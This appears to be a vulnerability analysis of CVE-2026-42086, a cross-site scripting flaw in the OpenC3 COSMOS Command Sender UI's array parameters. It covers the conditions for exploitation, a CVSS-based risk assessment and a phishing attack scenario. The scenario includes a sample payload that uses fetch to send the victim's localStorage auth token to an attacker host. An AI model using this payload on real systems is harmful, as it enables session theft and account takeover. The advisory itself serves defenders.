OpenC3 COSMOS CVE-2026-42086

Exploitation requires the following specific conditions: (1) The attacker must be able to influence the array parameter input in the Command Sender UI - typically via social engineering or phishing, since the COSMOS UI is accessed only by authenticated users; (2) The victim must be an authenticated user with an active session in COSMOS (PR:L from CVSS confirms authentication is required); (3) The victim must send a command containing the malicious array payload using the Command Sender UI's 'Send' button (UI:R confirms user interaction is required); (4) The target command must support ARRAY-type parameters - commands without array parameters are not vulnerable. The vulnerability does NOT require network-level access bypassing authentication, COSMOS misconfiguration, or non-standard deployments - it affects default installations where authenticated users can access the Command Sender UI. The main limiting factor is the requirement for user interaction and authentication; remote unauthenticated exploitation is not possible.

This vulnerability presents moderate real-world risk despite the low CVSS score (4.6). The CVSS vector (AV:N/AC:L/PR:L/UI:R/S:U) correctly reflects that exploitation requires authentication (PR:L), network access, and user interaction (UI:R), limiting its scope compared to unauthenticated remote code execution. However, several factors elevate actual risk: (1) The attack vector is network-accessible and exploitation complexity is low, making it trivial to execute once a victim is socially engineered; (2) The authenticated context is significant because stealing session tokens from local storage during an authenticated session enables account takeover; (3) The PoC is straightforward and publicly documented in the advisory, removing technical barriers; (4) No active KEV listing or widespread exploitation reports suggest this is not currently targeted at scale, but the ease of exploitation means rapid weaponization is likely if deployment is common. For defenders, the key decision point is whether COSMOS users are exposed to untrusted actors (phishing risk) - if so, this warrants immediate patching despite the moderate CVSS score.

An attacker crafts a phishing email or social engineering message targeting a COSMOS operator, requesting they send a specific command to test or troubleshoot a system issue. The attacker includes a malicious command with a payload like [alert('XSS')] or more dangerously [fetch('https://attacker.com/steal?token=' + localStorage.getItem('auth_token'))] embedded in the array parameter. When the victim opens the COSMOS Command Sender UI (already authenticated) and follows the instructions by submitting the crafted command, the JavaScript executes in their browser context, exfiltrating session tokens or session storage data to the attacker's server. The attacker can then use the stolen token to impersonate the victim and send unauthorized commands or exfiltrate sensitive telemetry data.